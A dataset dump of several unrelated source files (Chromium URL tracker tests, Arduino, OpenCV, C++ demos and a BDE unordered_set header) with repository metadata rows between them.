NotifyNetworkChanged();
MockSearchDomainCheckResponse(".google.com/search");
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
// Non-empty query.
NotifyNetworkChanged();
MockSearchDomainCheckResponse(".google.com/?q=foo");
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
// Non-empty ref.
NotifyNetworkChanged();
MockSearchDomainCheckResponse(".google.com/#anchor");
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
// Complete garbage.
NotifyNetworkChanged();
MockSearchDomainCheckResponse("HJ)*qF)_*&@f1");
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
}
TEST_F(GoogleURLTrackerTest, RefetchOnNetworkChange) {
RequestServerCheck();
FinishSleep();
MockSearchDomainCheckResponse(".google.co.uk");
EXPECT_EQ(GURL("https://www.google.co.uk/"), google_url());
EXPECT_TRUE(listener_notified());
clear_listener_notified();
NotifyNetworkChanged();
MockSearchDomainCheckResponse(".google.co.in");
EXPECT_EQ(GURL("https://www.google.co.in/"), google_url());
EXPECT_TRUE(listener_notified());
}
TEST_F(GoogleURLTrackerTest, DontRefetchWhenNoOneRequestsCheck) {
FinishSleep();
NotifyNetworkChanged();
// No one called RequestServerCheck() so nothing should have happened.
EXPECT_FALSE(GetFetcher());
MockSearchDomainCheckResponse(".google.co.uk");
EXPECT_EQ(GURL(GoogleURLTracker::kDefaultGoogleHomepage), google_url());
EXPECT_FALSE(listener_notified());
}
TEST_F(GoogleURLTrackerTest, FetchOnLateRequest) {
FinishSleep();
NotifyNetworkChanged();
MockSearchDomainCheckResponse(".google.co.jp");
RequestServerCheck();
// The first request for a check should trigger a fetch if it hasn't happened
// already.
MockSearchDomainCheckResponse(".google.co.uk");
EXPECT_EQ(GURL("https://www.google.co.uk/"), google_url());
EXPECT_TRUE(listener_notified());
}
TEST_F(GoogleURLTrackerTest, DontFetchTwiceOnLateRequests) {
FinishSleep();
NotifyNetworkChanged();
MockSearchDomainCheckResponse(".google.co.jp");
RequestServerCheck();
// The first request for a check should trigger a fetch if it hasn't happened
// already.
MockSearchDomainCheckResponse(".google.co.uk");
EXPECT_EQ(GURL("https://www.google.co.uk/"), google_url());
EXPECT_TRUE(listener_notified());
clear_listener_notified();
RequestServerCheck();
// The second request should be ignored.
EXPECT_FALSE(GetFetcher());
MockSearchDomainCheckResponse(".google.co.in");
EXPECT_EQ(GURL("https://www.google.co.uk/"), google_url());
EXPECT_FALSE(listener_notified());
}
| [
"[email protected]"
] | |
ee1a3eac723293416fad54db2c3afff88e99c646 | 1c80ec775e3c23183a0234a8ba8969407ce8ff0d | /components/MPR121/examples/mpr121test.cpp | dd7ac781f92e1499b63021461bd349b167643925 | [
"BSD-3-Clause"
] | permissive | DigKleppe/dmmGui | 7aaaceddfbaab4251ee79deccc9b8cd4dfc88446 | 0f3d93b778680e50e031a014848b57ef7f98242e | refs/heads/main | 2023-03-26T03:33:41.548747 | 2021-03-21T08:24:15 | 2021-03-21T08:24:15 | 344,567,636 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 561 | cpp | #include "../../MPR121/src/mpr121.h"
#include <Streaming.h>
#include <Wire.h>
#include "../../../../arduinoLib/arduinoCores/Arduino.h"
TwoWire wire(1);
MPR121 mpr121(&wire);
uint16_t baselines[12];
uint16_t values[12];
extern "C" void app_main() {
uint16_t touchbits;
Serial.begin(115200);
Serial << "mpr121 test\n";
wire.begin(21, 22, 400000);
while (1) {
// mpr121.readBaselineData((uint8_t *) baselines);
// mpr121.readFilteredData((uint8_t *) values);
touchbits = mpr121.readTouch();
Serial << touchbits << "\n";
vTaskDelay(50);
}
}
| [
"[email protected]"
] | |
edfb6a9571550be74eed96665afbd001346d82d3 | 04142fdda9b3fb29fb7456d5bc3e504985f24cbe | /mmcv/ops/csrc/parrots/points_in_polygons_parrots.cpp | d52018e6451f52d0c10648cea2ee036b3214376d | [
"Apache-2.0"
] | permissive | open-mmlab/mmcv | 419e301bbc1d7d45331d67eccfd673f290a796d5 | 6e9ee26718b22961d5c34caca4108413b1b7b3af | refs/heads/main | 2023-08-31T07:08:27.223321 | 2023-08-28T09:02:10 | 2023-08-28T09:02:10 | 145,670,155 | 5,319 | 1,900 | Apache-2.0 | 2023-09-14T02:37:16 | 2018-08-22T07:05:26 | Python | UTF-8 | C++ | false | false | 813 | cpp | // Copyright (c) OpenMMLab. All rights reserved
#include <parrots/compute/aten.hpp>
#include <parrots/extension.hpp>
#include <parrots/foundation/ssattrs.hpp>
#include "points_in_polygons_pytorch.h"
using namespace parrots;
#ifdef MMCV_WITH_CUDA
void points_in_polygons_cuda_parrots(CudaContext& ctx, const SSElement& attr,
const OperatorBase::in_list_t& ins,
OperatorBase::out_list_t& outs) {
auto points = buildATensor(ctx, ins[0]);
auto polygons = buildATensor(ctx, ins[1]);
auto output = buildATensor(ctx, outs[0]);
points_in_polygons_forward(points, polygons, output);
}
PARROTS_EXTENSION_REGISTER(points_in_polygons_forward)
.input(2)
.output(1)
.apply(points_in_polygons_cuda_parrots)
.done();
#endif
| [
"[email protected]"
] | |
f56e5a559ad155d0648c306a650f6cd012039e5b | b657271dbd5b74fc0b0c1135a8a81dea12ff264f | /ch6/morphology/morph_simple_demo.cpp | df03bf8b2cdeeef822f657578fbcf31330f3ae3d | [
"MIT"
] | permissive | icyplayer/OpenCV3Learning | 2ca00d7f8fb576bc05d9cf65d8b89269e1a91d36 | c2d107b6b8895086f499c6be16c2e15521d36799 | refs/heads/master | 2021-01-17T09:57:23.774990 | 2017-03-22T14:32:36 | 2017-03-22T14:32:36 | 83,996,539 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 890 | cpp | /*
* morph_simple_demo.cpp
*
* Created on: 2017年3月13日
* Author: icyplayer
*/
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <iostream>
using namespace cv;
using namespace std;
int main_morph()
{
Mat image = imread("5.jpg");
namedWindow("origin");
namedWindow("result");
imshow("origin", image);
Mat element = getStructuringElement(MORPH_RECT, Size(15, 15));
// morphologyEx(image, image, MORPH_OPEN, element);
// morphologyEx(image, image, MORPH_CLOSE, element);
morphologyEx(image, image, MORPH_GRADIENT, element);
// morphologyEx(image, image, MORPH_TOPHAT, element);
// morphologyEx(image, image, MORPH_BLACKHAT, element);
// morphologyEx(image, image, MORPH_ERODE, element);
// morphologyEx(image, image, MORPH_DILATE, element);
imshow("result", image);
waitKey(0);
return 0;
}
| [
"[email protected]"
] | |
687d78f8997f9c5909b5a14293b882694d559018 | 2487e1caaadb4c5e10d5907372881ab3e8b3a42d | /include/det.h | 33392d3acf807ae0f3bdbc29548d100daa83477d | [] | no_license | ChronoBro/unpackerProtoNeutronDet | 44207e9728b5d1afa6c52f26a5f3b9f69b98824a | 0ccda84bc8fbfcb3d5c022457c687aecdf7a1fa2 | refs/heads/master | 2021-01-01T20:47:00.215404 | 2017-09-07T05:27:33 | 2017-09-07T05:27:33 | 98,932,401 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 856 | h | #ifndef det_
#define det_
#include <iostream>
#include <vector>
#include <cmath>
#include "TRandom.h"
#include "detector.h"
#include "histo.h"
#include "correl.h"
#include "doppler.h"
using namespace std;
/**
*!\brief detector readout
*
* responsible for unpacking the data stream for physics events
*/
class det
{
public:
det(histo * Histo);
~det();
bool unpack(unsigned short *point,int runno);
detector *Detector;
histo * Histo;
TRandom * ran;
void analyze(int event);
int Event;
int Run;
correl Correl;
void corr_7Li();
int Nalphat;
int CsImult;
int N_IAS;
int N7Li_ta;
int N7Li;
float xg,yg,zg;
float xL,yL,zL;
float thetag,phig;
float thetaL,phiL,thetarel;
float dot;
float mag;
int Rus_count;
int S2_count;
int RusS2_count;
private:
doppler *Doppler;
int please;
};
#endif
| [
"[email protected]"
] | |
393d1ceafa3cfb09dff946ae841d1cb83f68f642 | de142c6a3fc7d02b1f0f575ec7c4f958cc1e7999 | /Plugins/PortalGate/Source/PortalGate/Public/PortalTree.h | 8f60b115c313dbd43c59cb7170d610b764bbd10a | [] | no_license | WeaponSoon/PortalUE | 575c160c199fcf26f0fb645bdbeadafafb511526 | defedfbb419ba6345d8c4b990c4e7b00e8a71dd6 | refs/heads/master | 2020-05-04T17:40:22.747130 | 2019-04-03T17:18:32 | 2019-04-03T17:18:32 | 179,321,544 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 657 | h | // Fill out your copyright notice in the Description page of Project Settings.
#pragma once
#include "CoreMinimal.h"
#include "UObject/GCObject.h"
/**
*
*/
class PORTALGATE_API PortalTree : FGCObject
{
public:
PortalTree();
~PortalTree();
private:
class PortalNode* root;
void BuildPortalTreeInternal(PortalNode* root);
void RenderPortalTreeInternal(PortalNode* root);
class PortalNodePool* portalPool;
public:
static const int POOL_MAX_LAYER;
public:
void BuildPortalTree();
void RenderPortalTree();
void RecyclePortalNode(PortalNode* node);
protected:
virtual void AddReferencedObjects( FReferenceCollector& Collector ) override;
};
| [
"[email protected]"
] | |
99c748a9db74a50cb47c55914c75baebcf5393df | cd1e4eababa89659b79fe70e964b9f311b877e13 | /inc/common/Any.h | 4188ed24c6b37935b6f5a361570512e2ff3424fc | [] | no_license | luada/GameEngine | 725f72fb8573384b3c0128f283ffcc7e251265d6 | b8cfb28e593e80642df94e46ac51554bc4e86d1f | refs/heads/master | 2020-04-08T20:02:53.102842 | 2018-11-29T14:56:03 | 2018-11-29T14:56:03 | 159,682,074 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 6,623 | h | #pragma once
#include <algorithm>
#include <typeinfo>
#include <string>
/** Variant type that can hold CAny other type.
*/
class CAny
{
public:
CAny() : m_content(0) {}
template<typename ValueType>
explicit CAny(const ValueType & value)
: m_content(new CHolder<ValueType>(value)) {}
CAny(const CAny & other)
: m_content(other.m_content ? other.m_content->Clone() : 0) {}
virtual ~CAny() { if(m_content) delete m_content; }
CAny& Swap(CAny & rhs)
{
std::swap(m_content, rhs.m_content);
return *this;
}
template<typename ValueType>
CAny& operator=(const ValueType & rhs)
{
CAny(rhs).Swap(*this);
return *this;
}
CAny & operator=(const CAny & rhs)
{
CAny(rhs).Swap(*this);
return *this;
}
bool IsEmpty() const { return !m_content; }
const std::type_info& GetType() const
{
return m_content ? m_content->GetType() : typeid(void);
}
inline friend std::ostream& operator << ( std::ostream& o, const CAny& v )
{
if (v.m_content)
v.m_content->WriteToStream(o);
return o;
}
protected:
class CPlaceholder
{
public:
virtual ~CPlaceholder() {}
virtual const std::type_info& GetType() const = 0;
virtual CPlaceholder * Clone() const = 0;
virtual void WriteToStream(std::ostream& o) = 0;
};
template<typename ValueType>
class CHolder : public CPlaceholder
{
public:
CHolder(const ValueType & value) : m_held(value) {}
virtual const std::type_info & GetType() const { return typeid(ValueType); }
virtual CPlaceholder * Clone() const { return new CHolder(m_held); }
virtual void WriteToStream(std::ostream& o) { o << m_held; }
public: // representation
ValueType m_held;
};
protected: // representation
CPlaceholder* m_content;
template<typename ValueType> friend ValueType* any_cast(CAny *);
public:
template<typename ValueType>
ValueType operator()() const
{
if (!m_content)
{
/*
OGRE_EXCEPT(Exception::ERR_INVALIDPARAMS,
"Bad cast from uninitialised CAny",
"CAny::operator()");
*/
return ValueType(0);
}
else if(GetType() == typeid(ValueType))
{
return static_cast<CAny::CHolder<ValueType> *>(m_content)->m_held;
}
else
{
/*
StringUtil::StrStreamType str;
str << "Bad cast from type '" << GetType().name() << "' "
<< "to '" << typeid(ValueType).name() << "'";
OGRE_EXCEPT(Exception::ERR_INVALIDPARAMS,
str.str(),
"CAny::operator()");
*/
return ValueType(0);
}
}
};
/** Specialised CAny class which has built in arithmetic operators, but can
hold only types which support operator +,-,* and / .
*/
class CAnyNumeric : public CAny
{
public:
CAnyNumeric() : CAny(){}
template<typename ValueType>
CAnyNumeric(const ValueType & value)
: m_content(new CNumholder<ValueType>(value)) {}
CAnyNumeric(const CAnyNumeric & other) : CAny()
{
m_content = other.m_content ? other.m_content->Clone() : 0;
}
protected:
class CNumPlaceholder : public CAny::CPlaceholder
{
public:
~CNumPlaceholder() {}
virtual CPlaceholder* Add(CPlaceholder* rhs) = 0;
virtual CPlaceholder* Subtract(CPlaceholder* rhs) = 0;
virtual CPlaceholder* Multiply(CPlaceholder* rhs) = 0;
virtual CPlaceholder* Multiply(float factor) = 0;
virtual CPlaceholder* Divide(CPlaceholder* rhs) = 0;
};
template<typename ValueType>
class CNumholder : public CNumPlaceholder
{
public:
CNumholder(const ValueType & value) : m_held(value) {}
virtual const std::type_info & GetType() const
{
return typeid(ValueType);
}
virtual CPlaceholder * clone() const
{
return new CNumholder(m_held);
}
virtual CPlaceholder* Add(CPlaceholder* rhs)
{
return new CNumholder(m_held + static_cast<CNumholder*>(rhs)->m_held);
}
virtual CPlaceholder* Subtract(CPlaceholder* rhs)
{
return new CNumholder(m_held - static_cast<CNumholder*>(rhs)->m_held);
}
virtual CPlaceholder* Multiply(CPlaceholder* rhs)
{
return new CNumholder(m_held * static_cast<CNumholder*>(rhs)->m_held);
}
virtual CPlaceholder* Multiply(float factor)
{
return new CNumholder(m_held * factor);
}
virtual CPlaceholder* Divide(CPlaceholder* rhs)
{
return new CNumholder(m_held / static_cast<CNumholder*>(rhs)->m_held);
}
virtual void writeToStream(std::ostream& o)
{
o << m_held;
}
public:
ValueType m_held;
};
/// Construct from CHolder
CAnyNumeric(CPlaceholder* pholder)
{
m_content = pholder;
}
public:
CAnyNumeric & operator=(const CAnyNumeric & rhs)
{
CAnyNumeric(rhs).Swap(*this);
return *this;
}
CAnyNumeric operator+(const CAnyNumeric& rhs) const
{
return CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Add(rhs.m_content));
}
CAnyNumeric operator-(const CAnyNumeric& rhs) const
{
return CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Subtract(rhs.m_content));
}
CAnyNumeric operator*(const CAnyNumeric& rhs) const
{
return CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Multiply(rhs.m_content));
}
CAnyNumeric operator*(float factor) const
{
return CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Multiply(factor));
}
CAnyNumeric operator/(const CAnyNumeric& rhs) const
{
return CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Divide(rhs.m_content));
}
CAnyNumeric& operator+=(const CAnyNumeric& rhs)
{
*this = CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Add(rhs.m_content));
return *this;
}
CAnyNumeric& operator-=(const CAnyNumeric& rhs)
{
*this = CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Subtract(rhs.m_content));
return *this;
}
CAnyNumeric& operator*=(const CAnyNumeric& rhs)
{
*this = CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Multiply(rhs.m_content));
return *this;
}
CAnyNumeric& operator/=(const CAnyNumeric& rhs)
{
*this = CAnyNumeric(static_cast<CNumPlaceholder*>(m_content)->Divide(rhs.m_content));
return *this;
}
};
template<typename ValueType>
ValueType* any_cast(CAny * operand)
{
return operand && operand->GetType() == typeid(ValueType)
? &static_cast<CAny::CHolder<ValueType> *>(operand->m_content)->m_held
: 0;
}
template<typename ValueType>
const ValueType* any_cast(const CAny * operand)
{
return any_cast<ValueType>(const_cast<CAny *>(operand));
}
template<typename ValueType>
ValueType any_cast(const CAny& operand)
{
const ValueType* result = any_cast<ValueType>(&operand);
return (result != NULL) ? *result : 0;
}
| [
"[email protected]"
] | |
de6fcce8ff0d5186597400e616316cc86cdb6bd3 | f1fe89d5668cd00a4690099d0b2bf1cd2cb38fc2 | /C++设计模式/设计模式day2 单例模式/设计模式day2 单例模式/main.cpp | 495483a68a1589b2f0e2e665c5891c2149e1cf73 | [] | no_license | ayili123/C- | 20c6b0354b659db13b09f7ce78e181b5ae78d26f | f1d05de8249f050b94d7fd500544feea5b3b31dc | refs/heads/master | 2021-02-18T06:25:45.860980 | 2020-03-18T05:03:22 | 2020-03-18T05:03:22 | 245,170,152 | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 1,921 | cpp | #define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <string>
using namespace std;
/*
单例：只能创建一个这样的类有----懒汉式(先判断在创建)---饿汉式(先于main函数创建)
遇到多线程时用饿汉式，懒汉式不安全，懒汉式就不是真的单例了
步骤：
1.将构造函数私有化
2.增加静态私有的当前类的指针变量
3.增加静态对外接口，可以让用户获得单例对象 static 可以这样::
*/
class A {
private:
A() {
pA = new A;
}
public://返回单例
static A* getA() {//这里返回A* ************* static:私有构造这样可以::外部函数调用调用
return pA; //静态成员函数可以通过类名调用
}
private:
static A* pA;
};
A* A::pA = NULL;
//懒汉式
class Singleton_lazy {
private:
Singleton_lazy() {
}
public:
static Singleton_lazy* getInstance() {
if (pSingleton_lazy == NULL)
{
pSingleton_lazy = new Singleton_lazy;//***********不是return
}
return NULL;
}
private:
static Singleton_lazy* pSingleton_lazy;
};
Singleton_lazy* Singleton_lazy::pSingleton_lazy = NULL;
//饿汉式
class Singleton_hangry {
private:
Singleton_hangry() {
}
public:
static Singleton_hangry* getInstance() {
return pSingleton_hangry;
}
private:
static Singleton_hangry* pSingleton_hangry;
};
Singleton_hangry* Singleton_hangry::pSingleton_hangry = new Singleton_hangry;
void test() {
Singleton_lazy* p1 = Singleton_lazy::getInstance();
Singleton_lazy* p2 = Singleton_lazy::getInstance();
if (p1 == p2) {
cout << "是单例" << endl;
}
else
cout << "不是单例" << endl;
cout << "_______________"<<endl;
Singleton_hangry* p3 = Singleton_hangry::getInstance();
Singleton_hangry* p4 = Singleton_hangry::getInstance();
if (p3 == p4) {
cout << "是单例" << endl;
}
else
cout << "不是单例" << endl;
}
int main() {
test();
system("pause");
return 0;
} | [
"[email protected]"
] | |
342a01f92098224c19535644e8c9c55f2ddb4f2f | 31c5a33c9406619bb92046c79b75afd8bc29ee03 | /C++.vs/backtrack/code.c++ | a220a0848149ee003926f0d9c7e5e9a5d23cdcb7 | [] | no_license | ishu2004/C-files | 5061829536ba63fb819cc4a02372cb2d25e27156 | e66396457efc061a61387e6d61d4019ddf4ec221 | refs/heads/master | 2023-08-12T14:22:07.450851 | 2021-10-05T20:17:58 | 2021-10-05T20:17:58 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 272 | #include<iostream>
using namespace std;
bool issafe(int** arr,int x,int y,int n){
if(x<n && y<<n && arr[x][y]==1){
return true;
}
return false;
}
bool ratinMaze(int** arr, int x,int y,int n, int** solArr){
if()
}
int main() {
return 0;
}
| [
"[email protected]"
] | ||
f4a38e567a3c8ba60da9495fe06a98ceb0511148 | 9119ed5676db3846bba26f7e6ab52b937a913919 | /CodeChef/Codingo/DIFFPENS.cpp | e8d0977e9c17956f732c2f3f08e9f6204c2f9f99 | [] | no_license | RaghavKaushal03/Competitive-Coding | 310de2f0fe1599f7bf030cb3748543e7c672aa16 | 20dc6fa6c06840fd124de7f6267d1691b142ddcc | refs/heads/master | 2023-02-24T20:13:08.222589 | 2021-01-30T22:18:07 | 2021-01-30T22:18:07 | 324,419,865 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 306 | cpp | #include <iostream>
using namespace std;
int main() {
int t;
cin>>t;
while(t--){
int n;
cin>>n;
int h=0;
char arr[n+1];
for(int i=0;i<n;i++)
cin>>arr[i];
for(int i=0;i<n;i++){
if(arr[i]==arr[i+1])
h++;
}
cout<<h<<endl;
}
return 0;
}
| [
"[email protected]"
] | |
947ec8ef99765dd3801e31c767059c8ee969ef02 | 7d047ddfa804526639a7000f6bec6472ac308605 | /Count and Say.cpp | 118a51bcbbb9339da3b0c893ccb39886c80532da | [] | no_license | YuxuanHe/Leetcode | 7e7c5d6c76aa6caa5c17c49de1dfd2e106039385 | c4799aade380a20f46f2737bc2d3e19c954e2bbd | refs/heads/master | 2021-01-10T14:42:58.447611 | 2015-11-21T23:30:46 | 2015-11-21T23:30:46 | 44,711,436 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 683 | cpp | class Solution {
public:
string countAndSay(int n) {
string str = "1";
for(int i = 1; i<n; i++) {
string temp = "";
char pre = str[0];
int count = 1;
for(int j = 1; j < str.size(); j++) {
if(pre == str[j]) {
count++;
}
else{
char num = count + '0';
temp = temp + num + pre;
pre = str[j];
count = 1;
}
}
char num = count + '0';
temp = temp + num + pre;
str = temp;
}
return str;
}
};
| [
"[email protected]"
] | |
c22841570efa9608d3bc7987510d095d74d6df6b | 863e47a9ba2d3c1086e8ecb99dbb6f8ee7f1fbb3 | /AdditionLib/LRProcessRunData.h | 007fdcac170e01e9d0f4f2c2edb8b50060515a62 | [] | no_license | angpysha/RunAsPlus | 1735faadba79be65751068b62ebdcc4ed3dbf060 | 83c65b0057a531d5d500d93af2c3b152c1fc412f | refs/heads/master | 2020-12-03T03:52:03.484972 | 2017-07-09T15:47:56 | 2017-07-09T15:47:56 | 95,783,670 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,004 | h | #pragma once
#include "ICLRProcessRunData.h"
#include <memory>
#include <Windows.h>
#include <ProcessRunData.h>
#pragma managed
namespace AdditionLib
{
public ref class CLRProcessRunData :
public ICLRProcessRunData<System::String^>
{
public:
CLRProcessRunData();
std::shared_ptr<Logon::ProcessRunData> toUnmanaged();
//~ICLRProcessRunData() override;
void setProcessName(System::String^ name) override;
void setUser(System::String^ user) override;
void setCommandLineArgs(System::String^ args) override;
void setDomain(System::String^ domain) override;
void setPassword(System::String^ pass) override;
void setType(System::String^ type) override;
System::String^ getProcessName() override;
System::String^ getUser() override;
System::String^ getCommandLineArgs() override;
System::String^ getDomain() override;
System::String^ getPassword() override;
System::String^ getType() override;
private:
//friend std::shared_ptr<Logon::ProcessRunData> toUnmanaged ()
};
}
| [
"[email protected]"
] | |
a8f0ab2d4bc4fee0a7ec9c80be2bfc7900944841 | 542c861b857e42d8c550d99f584e207bdc51a139 | /groups/bsl/bslstl/bslstl_unorderedset.h | 686dfa484575c1ad8bbc6c3aae4fb37d36a4e8cc | [
"MIT"
] | permissive | zhanzju/bsl | 3d803ca7a95e13b6b711b1f3fffea0581d3e710a | 1bb79982cff9bbaa3fb6d038604f04283ba76f07 | refs/heads/master | 2020-04-07T18:07:33.905605 | 2013-05-31T19:08:23 | 2013-05-31T19:08:23 | 10,591,841 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 70,841 | h | // bslstl_unorderedset.h -*-C++-*-
#ifndef INCLUDED_BSLSTL_UNORDEREDSET
#define INCLUDED_BSLSTL_UNORDEREDSET
#ifndef INCLUDED_BSLS_IDENT
#include <bsls_ident.h>
#endif
BSLS_IDENT("$Id: $")
//@PURPOSE: Provide an STL-compliant 'unordered_set' container.
//
//@CLASSES:
// bsl::unordered_set : STL-compliant 'unordered_set' container
//
//@SEE_ALSO: bsl+stdhdrs
//
//@DESCRIPTION: This component defines a single class template 'unordered_set',
// implementing the standard container holding a collection of unique keys with
// no guarantees on ordering.
//
// An instantiation of 'unordered_set' is an allocator-aware, value-semantic
// type whose salient attributes are its size (number of keys) and the set of
// keys the 'unordered_set' contains, without regard to their order. If
// 'unordered_set' is instantiated with a key type that is not itself
// value-semantic, then it will not retain all of its value-semantic
// qualities. In particular, if the key type cannot be tested for equality,
// then an 'unordered_set' containing that type cannot be tested for equality.
// It is even possible to instantiate 'unordered_set' with a key type that does
// not have an accessible copy-constructor, in which case the 'unordered_set'
// will not be copyable. Note that the equality operator for each element is
// used to determine when two 'unordered_set' objects have the same value, and
// not the equality comparator supplied at construction.
//
// An 'unordered_set' meets the requirements of an unordered associative
// container with forward iterators in the C++11 standard [unord]. The
// 'unordered_set' implemented here adheres to the C++11 standard, except that
// it may rehash when setting the 'max_load_factor' in order to preserve the
// property that the value is always respected (which is a potentially throwing
// operation) and it does not have interfaces that take rvalue references,
// 'initializer_list', 'emplace', or operations taking a variadic number of
// template parameters. Note that excluded C++11 features are those that
// require (or are greatly simplified by) C++11 compiler support.
//
///Requirements on 'KEY'
///---------------------
// An 'unordered_set' instantiation is a fully "Value-Semantic Type" (see
// {'bsldoc_glossary'}) only if the supplied 'KEY' template parameters is
// fully value-semantic. It is possible to instantiate an 'unordered_set' with
// 'KEY' parameter arguments that do not provide a full set of
// value-semantic operations, but then some methods of the container may not be
// instantiable. The following terminology, adopted from the C++11 standard,
// is used in the function documentation of 'unordered_set' to describe a
// function's requirements for the 'KEY' template parameter. These terms are
// also defined in section [utility.arg.requirements] of the C++11 standard.
// Note that, in the context of an 'unordered_set' instantiation, the
// requirements apply specifically to the 'unordered_set's element type,
// 'value_type', which is an alias for 'KEY'.
//
//: "default-constructible": The type provides an accessible default
//: constructor.
//:
//: "copy-constructible": The type provides an accessible copy constructor.
//:
//: "equality-comparable": The type provides an equality-comparison operator
//: that defines an equivalence relationship and is both reflexive and
//: transitive.
//
///Requirements on 'HASH' and 'EQUAL'
///----------------------------------
// The (template parameter) types 'HASH' and 'EQUAL' must be copy-constructible
// function-objects. Note that this requirement is somewhat stronger than the
// requirement currently in the standard; see the discussion for Issue 2215
// (http://cplusplus.github.com/LWG/lwg-active.html#2215);
//
// 'HASH' shall support a function call operator compatible with the following
// statements:
//..
// HASH hash;
// KEY key;
// std::size_t result = hash(key);
//..
// where the definition of the called function meets the requirements of a
// hash function, as specified in {'bslstl_hash|Standard Hash Function'}.
//
// 'EQUAL' shall support the a function call operator compatible with the
// following statements:
//..
// EQUAL equal;
// KEY key1, key2;
// bool result = equal(key1, key2);
//..
// where the definition of the called function defines an equivalence
// relationship on keys that is both reflexive and transitive.
//
// 'HASH' and 'EQUAL' function-objects are further constrained, such for any
// two objects whose keys compare equal by the comparator, shall produce the
// same value from the hasher.
//
///Memory Allocation
///-----------------
// The type supplied as a set's 'ALLOCATOR' template parameter determines how
// that set will allocate memory. The 'unordered_set' template supports
// allocators meeting the requirements of the C++11 standard
// [allocator.requirements], and in addition it supports scoped-allocators
// derived from the 'bslma::Allocator' memory allocation protocol. Clients
// intending to use 'bslma' style allocators should use the template's default
// 'ALLOCATOR' type: The default type for the 'ALLOCATOR' template parameter,
// 'bsl::allocator', provides a C++11 standard-compatible adapter for a
// 'bslma::Allocator' object.
//
///'bslma'-Style Allocators
/// - - - - - - - - - - - -
// If the parameterized 'ALLOCATOR' type of an 'unordered_set' instantiation
// is 'bsl::allocator', then objects of that set type will conform to the
// standard behavior of a 'bslma'-allocator-enabled type. Such a set accepts
// an optional 'bslma::Allocator' argument at construction. If the address of
// a 'bslma::Allocator' object is explicitly supplied at construction, it will
// be used to supply memory for the 'unordered_set' throughout its lifetime;
// otherwise, the 'unordered_set' will use the default allocator installed at
// the time of the 'unordered_set's construction (see 'bslma_default'). In
// addition to directly allocating memory from the indicated
// 'bslma::Allocator', an 'unordered_set' supplies that allocator's address to
// the constructors of contained objects of the parameterized 'KEY' types with
// the 'bslalg::TypeTraitUsesBslmaAllocator' trait.
//
///Operations
///----------
// This section describes the run-time complexity of operations on instances
// of 'unordered_set':
//..
// Legend
// ------
// 'K' - parameterized 'KEY' type of the unordered set
// 'a', 'b' - two distinct objects of type 'unordered_set<K>'
// 'n', 'm' - number of elements in 'a' and 'b' respectively
// 'w' - number of buckets of 'a'
// 'value_type' - unoredered_set<K>::value_type
// 'c' - comparator providing an ordering for objects of type 'K'
// 'al - an STL-style memory allocator
// 'i1', 'i2' - two iterators defining a sequence of 'value_type' objects
// 'k' - an object of type 'K'
// 'v' - an object of type 'value_type'
// 'p1', 'p2' - two iterators belonging to 'a'
// distance(i1,i2) - the number of elements in the range [i1, i2)
// distance(p1,p2) - the number of elements in the range [p1, p2)
//
// +----------------------------------------------------+--------------------+
// | Operation | Complexity |
// +====================================================+====================+
// | unordered_set<K> a; (default construction) | O[1] |
// | unordered_set<K> a(al); | |
// +----------------------------------------------------+--------------------+
// | unordered_set<K> a(b); (copy construction) | Average: O[n] |
// | unordered_set<K> a(b, al); | Worst: O[n^2] |
// +----------------------------------------------------+--------------------+
// | unordered_set<K> a(w); | O[n] |
// | unordered_set<K> a(w, hf); | |
// | unordered_set<K> a(w, hf, eq); | |
// | unordered_set<K> a(w, hf, eq, al); | |
// +----------------------------------------------------+--------------------+
// | unordered_set<K> a(i1, i2); | Average: O[N] |
// | unordered_set<K> a(i1, i2, w) | Worst: O[N^2] |
// | unordered_set<K> a(i1, i2, w, hf); | where N = |
// | unordered_set<K> a(i1, i2, w, hf, eq); | distance(i1, i2)] |
// | unordered_set<K> a(i1, i2, w, hf, eq, al); | |
// | | |
// +----------------------------------------------------+--------------------+
// | a.~unordered_set<K>(); (destruction) | O[n] |
// +----------------------------------------------------+--------------------+
// | a = b; (assignment) | Average: O[n] |
// | | Worst: O[n^2] |
// +----------------------------------------------------+--------------------+
// | a.begin(), a.end(), a.cbegin(), a.cend(), | O[1] |
// +----------------------------------------------------+--------------------+
// | a == b, a != b | Best: O[n] |
// | | Worst: O[n^2] |
// +----------------------------------------------------+--------------------+
// | a.swap(b), swap(a, b) | O[1] if 'a' and |
// | | 'b' use the same |
// | | allocator, |
// | | O[n + m] otherwise |
// +----------------------------------------------------+--------------------+
// | a.key_eq() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.hash_function() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.size() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.max_size() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.empty() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.get_allocator() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.insert(v)) | Average: O[1] |
// | | Worst: O[n] |
// +----------------------------------------------------+--------------------+
